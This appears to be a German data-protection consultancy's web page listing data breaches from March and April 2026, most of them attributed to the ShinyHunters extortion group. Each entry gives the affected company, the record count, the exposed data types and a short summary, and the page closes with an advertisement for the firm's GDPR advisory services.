In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
20.04.2026 - Aman 215.563 Datensätze geleaked
Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses

In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
20.04.2026 - Canada Life 237.810 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets

In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data.
20.04.2026 - Pitney Bowes 8.243.989 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
18.04.2026 - Carnival 7.531.359 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations

In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
15.04.2026 - Kemper 269.299 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases

In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.
15.04.2026 - Zara 197.376 Datensätze geleaked
Email addresses, Geographic locations, Purchases, Support tickets

In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information.
14.04.2026 - Abrigo 711.099 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
12.04.2026 - Marcus & Millichap 1.837.078 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
12.04.2026 - Mytheresa 84.108 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations

In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
10.04.2026 - McGraw Hill 13.500.136 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
08.04.2026 - 7-Eleven 185.256 Datensätze geleaked
Dates of birth, Email addresses, Names, Phone numbers, Physical addresses

In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
07.04.2026 - My Lovely AI 106.271 Datensätze geleaked
Email addresses, Social media profiles

In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames.
06.04.2026 - LegionProxy 10.144 Datensätze geleaked
Email addresses, Names, Passwords, Purchases

In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
03.04.2026 - Amtrak 2.147.679 Datensätze geleaked
Email addresses, Names, Physical addresses, Support tickets

In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
02.04.2026 - SongTrivia2 291.739 Datensätze geleaked
Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames

In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
31.03.2026 - Hallmark 1.736.520 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
27.03.2026 - ZenBusiness 5.118.184 Datensätze geleaked
Email addresses, Names, Phone numbers

In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.
26.03.2026 - BreachForums Version 5 339.778 Datensätze geleaked
Email addresses, Passwords, Usernames

In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.
25.03.2026 - Addi 34.532.941 Datensätze geleaked
Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels

In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.
Sind Sie betroffen? Hier prüfen!






Unsere TÜV-geprüften Berater sind für Sie da!

Wir haben Experten sowohl für die rechtlichen Anforderungen durch die DSGVO und das Bundesdatenschutzgesetz als auch für die technische Seite der IT-Sicherheit. Wir können Sie dahingehend über mögliche technische Risiken und Schutzmaßnahmen gleichermaßen beraten wir zur Umsetzung der gesetzlichen Anforderungen an den Datenschutz im Unternehmen und im Verein. Von den technischen und organisatorischen Maßnahmen über das Verfahrensverzeichnis sowie die praktische Umsetzung der Vorgaben können wir Sie gerne unterstützen.

Unsere Datenschutz-Experten beraten Sie gerne »





Keine Angst vor der DSGVO - wir helfen!










© 2012 - 2026 | SD Software-Design GmbH
Impressum | Datenschutz | Karriere | Online-Services